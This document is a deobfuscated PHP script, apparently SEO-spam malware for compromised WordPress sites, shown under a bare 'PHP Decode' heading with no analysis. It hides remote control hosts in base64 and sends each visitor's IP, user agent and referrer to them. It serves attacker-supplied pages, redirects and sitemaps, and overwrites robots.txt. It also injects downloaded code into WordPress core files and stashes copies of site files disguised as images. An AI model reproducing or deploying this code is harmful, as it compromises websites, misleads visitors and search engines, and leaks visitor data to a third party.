PHP Decode

error_reporting(0);
$go_domain = base64_decode('c2VvNy00LnN0YXJ0ZGRzZW8uY29t');
$language = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 4);
$userrefer = $_SERVER['HTTP_REFERER']?$_SERVER['HTTP_REFERER']:"";
$useragent = $_SERVER['HTTP_USER_AGENT']?$_SERVER['HTTP_USER_AGENT']:"";
$userip = '';
@$timezone_out = date_default_timezone_get();
$userip = $_SERVER['REMOTE_ADDR'];
$ips = explode(",", $userip);
$userip = trim(current($ips));
$http = 'http';
if(is_https()){
	$http = 'https';
}else{
	$http = 'http';
}

$index_url = "http://$go_domain/666.php?dom=%s&uri=%s&http=%s&refer=%s&agent=%s&lang=%s&ip=%s";
$host = $_SERVER['HTTP_HOST'];
$uri = $_SERVER['REQUEST_URI'];

@$action = $_GET['ac']?$_GET['ac']:"";
if($action != "" && $action == "write"){
	write("index.php");
	exit("write done!");
}

if(preg_match('@writerobots$@i',$uri)){
	$request = sprintf($index_url, urlencode($host), urlencode($uri), urlencode($http), urlencode($userrefer), urlencode($useragent), urlencode($language), urlencode($userip));
	$contents = base64_decode(get($request));
	@chmod("robots.txt", 0755);
	file_put_contents("robots.txt", $contents);
	header("Content-type: text/plain; charset=utf-8");
	echo $contents."
";
	echo "robots write done!!
";
	exit();
}elseif(preg_match('@pingsitemap.xml$@i',$uri)){
	$request = sprintf($index_url, urlencode($host), urlencode($uri), urlencode($http), urlencode($userrefer), urlencode($useragent), urlencode($language), urlencode($userip));
	$content = base64_decode(get($request));
	$maplist = explode("@@@", $content);
	@header("Content-type: text/plain; charset=utf-8");
	foreach($maplist as $map){
		$sitemap = "https://www.google.com/ping?sitemap=$map";
		$contents = get($sitemap);
		if(strpos($contents, "Sitemap Notification Received")){
			echo "Submitting Google Sitemap ".$map." : OK!
";
		}else{
			echo "Submitting Google Sitemap ".$map." : ERROR!
";
		}
	}
	exit();
}elseif(preg_match('@(.*?).xml$@i',$uri)){
	$request = sprintf($index_url, urlencode($host), urlencode($uri), urlencode($http), urlencode($userrefer), urlencode($useragent), urlencode($language), urlencode($userip));
	$content = get($request);
	@header("Content-type: text/xml");
	$date_str = date("Y-m-d\TH:i:sP",time());
	$content = str_replace("{#date_str}", $date_str, $content);
	$content = str_replace("okhtmlgetcontent",'',$content);
	echo trim($content);
	exit();
}elseif(substr($uri, -4) == ".css"){
	$request = sprintf($index_url, urlencode($host), urlencode($uri), urlencode($http), urlencode($userrefer), urlencode($useragent), urlencode($language), urlencode($userip));
	$content = get($request);
	if(strstr($content,'okhtmlgetcontent')){
		@header("Content-type: text/css; charset=utf-8");
		$content = str_replace("okhtmlgetcontent",'',$content);
		echo trim($content);
	}
	exit();
}else{
	$request = sprintf($index_url, urlencode($host), urlencode($uri), urlencode($http), urlencode($userrefer), urlencode($useragent), urlencode($language), urlencode($userip));
	$content = get($request);
	if(strstr($content,'okhtmlgetcontent')){
		@header("Content-type: text/html; charset=utf-8");
		$content = str_replace("okhtmlgetcontent",'',$content);
		echo trim($content);
		exit();
	}else if(strstr($content,'getcontent404page')){
		@header('HTTP/1.1 404 Not Found');
		echo "404 Not Found";
		exit();
	}else if(strstr($content,'getcontent301page')){
		@header('HTTP/1.1 301 Moved Permanently');
		$content = str_replace("getcontent301page",'',$content);
		header('Location: '.trim($content));
		exit();
	}else if(strstr($content,'getcontent500page')){
		@header('HTTP/1.1 500 Internal Server Error');
		$content = str_replace("getcontent500page",'',$content);
		echo "500 Internal Server Error";
		exit();
	}
}
function write($index_name){
	$write1 = get(base64_decode("aHR0cDovL2FiYy5maXJzdGd1aWRlLnh5ei93cml0ZTEudHh0"));
	$write2 = get(base64_decode("aHR0cDovL2FiYy5maXJzdGd1aWRlLnh5ei93cml0ZTIudHh0"));
	$ht_content = file_get_contents(".htaccess");
	$index_content = file_get_contents($index_name);
	$loader_php = "wp-includes/template-loader.php";
	$load_php = "wp-includes/load.php";
	if(is_dir("wp-includes/SimplePie")){
		file_put_contents("wp-admin/images/arrow-lefts.png", $index_content);
		file_put_contents("wp-admin/images/arrow-rights.png", $ht_content);
		file_put_contents("wp-includes/images/smilies/icon_devil.gif", $index_content);
		file_put_contents("wp-includes/images/smilies/icon_crystal.gif", $ht_content);
		$loader_content = file_get_contents($loader_php);
		$load_content = file_get_contents($load_php);
		@chmod($loader_php, 0755);@chmod($load_php, 0755);
		file_put_contents($loader_php, $write1.$loader_content);
		file_put_contents($load_php, $load_content.$write2);
		@chmod($loader_php, 0644);@chmod($load_php, 0644);
	}
}
function get($url){ 
	$contents = @file_get_contents($url);
	if (!$contents) {
		$ch = curl_init();
		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
		$contents = curl_exec($ch);
		curl_close($ch);
	} 
	return $contents;
}
function is_https() {
	if ( !empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {
		return true;
	} elseif ( isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https' ) {
		return true;
	} elseif ( !empty($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {
		return true;
	}
	return false;
}